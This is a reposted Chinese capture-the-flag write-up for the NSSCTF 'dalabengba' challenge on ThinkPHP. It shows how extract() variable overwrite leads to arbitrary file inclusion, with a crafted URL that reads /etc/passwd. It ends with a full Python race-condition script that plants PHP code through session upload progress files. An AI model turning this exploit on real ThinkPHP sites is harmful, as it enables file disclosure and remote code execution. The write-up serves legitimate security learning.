NSSCTF dalabengba（thinkphp）

2022-01-11 01:01:42 阅读：204 来源： 互联网

标签：__ index vars doge filename session dalabengba thinkphp NSSCTF

最近学了点thinkphp，于是想复现一道NSSCTF上的原题

直接下载附件，可以看到是thinkphp的格式

查看IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($doge=''){
        if(preg_grep('/flag|Home|Common\/21/i',$doge)){
            die("<dialog open>Get Out Hacker！</dialog>");
        }else{
            $this->assign($doge);
            $this->display();
        }
    }
}

参考这篇文章
https://www.cnblogs.com/zpchcbd/p/11949672.html

大概的调用过程（摘自freebuf）

传入的数组变量$doge最后赋值给$vars，从而可以使用extract()函数会对其进行变量覆盖

public function load($_filename,$vars=null)
{
if(!is_null($vars)){ extract($vars, EXTR_OVERWRITE); 
} include $_filename; //进行包含文件的操作 }

传入$doge为array(['_filename'=>'/etc/passwd'])
构造url可形成任意文件包含漏洞

http://1.14.71.254:28039//index.php?g=index&m=home&a=index&doge[_filename]=/etc/passwd

后续只需要利用条件竞争把文件传上去即可

import io
import sys
import requests
import threading

sessid = 'aaa'
sess_path='/tmp'
url='http://1.14.71.254:28039/'

def WRITE(session):
    while True:
        f = io.BytesIO(b'x' * 1024 * 50)
        session.post(
            url=url,
            data={"PHP_SESSION_UPLOAD_PROGRESS":f"<?=phpinfo();file_get_contents('flag.php');?>"},
            files={"file":('xxx.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://1.14.71.254:28039//index.php?g=index&m=home&a=index&doge[_filename]=/etc/passwd')
        if 'upload_progress_' in response.text:
            print(response.text)
            sys.exit(0)
        else:
            print('++++++retry++++++')

def main():
    with requests.session() as session:
        t1 = threading.Thread(target=WRITE, args=(session,))
        t1.daemon = True
        t1.start()
        READ(session)
if __name__ == '__main__':
    main()

标签：__,index,vars,doge,filename,session,dalabengba,thinkphp,NSSCTF
来源： https://www.cnblogs.com/nov1ce/p/15786637.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

NSSCTF dalabengba（thinkphp）